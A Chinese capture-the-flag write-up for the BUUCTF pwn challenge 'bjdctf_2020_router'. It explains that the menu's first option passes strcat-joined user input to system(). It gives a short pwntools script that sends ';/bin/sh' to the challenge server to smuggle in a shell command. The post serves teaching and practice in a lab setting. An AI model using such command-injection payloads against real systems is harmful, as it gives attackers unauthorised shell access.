当前位置: 首页 > news >正文

[buuctf]bjdctf_2020_router

首先查看一下文件的保护措施
image
在用ida打开看一下
这里就是一个menu,然后进行选择,进入不同的函数
image
这里主要注意到进入case1时,这里直接就有一个system函数,那么是否可以直接通过这个函数获得shell呢
在看看这里通过read函数向buf进行输入,在用strcat函数将输入到buf的字符串拼接到dest后面,那这里就可以直接输入/bin/sh了
但是要注意要加上一个 " ; ",这样就能在system函数中执行多个命令,才能执行/bin/sh

点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",25108)
io.sendlineafter(b"choose:","1")
io.sendlineafter(b"address:",";/bin/sh")
io.interactive()
http://www.zskr.cn/news/23860.html

相关文章:

  • 吴恩达深度学习课程一:神经网络和深度学习 第三周:浅层神经网络(二)
  • C++动态多态原理分析
  • Java基础——初识Math类,基本运算符,自增自减运算符,逻辑运算符,位运算符,三元运算符
  • ENC28J60
  • 第九章-实战篇-运维杰克
  • 硬件基础知识
  • Channel小结
  • bridge 一般是 网络桥接模块。
  • abc428
  • 华为hcip总纲
  • haiku
  • Asp.Net Core 解决使用 Docker调试时出现“准备容器时发生了一个非关键性错误。项目将继续正常工作。错误为: 路径中具有非法字符。”
  • [Linux] NeoVim安装和Lazyvim配置
  • ABC 随笔
  • 大数据分析基础及应用案例:第三周学习报告 ——Matplotlib 学习报告
  • 2025.10 训练日志
  • 矩阵的秩和逆
  • 全球AI推理扩展技术解析
  • 乱七八糟的知识点
  • 自监督学习在医疗AI中的技术搭建路径分析(下)
  • 2025/10/18
  • 模板机制作
  • 小马智行 VS 文远知行
  • nas webdav 挂载盘Git报错:fatal: detected dubious ownership in repository at - 何苦
  • 题解:P14254 分割(divide)
  • 【汇编和指令集 . 第2025 .10期】万般皆为投影
  • 小作业 12
  • 机器学习在视频质量检测中的技术应用
  • React Query入门指南:简化React应用中的信息获取
  • CSP-S模拟34/2025多校冲刺CSP模拟赛6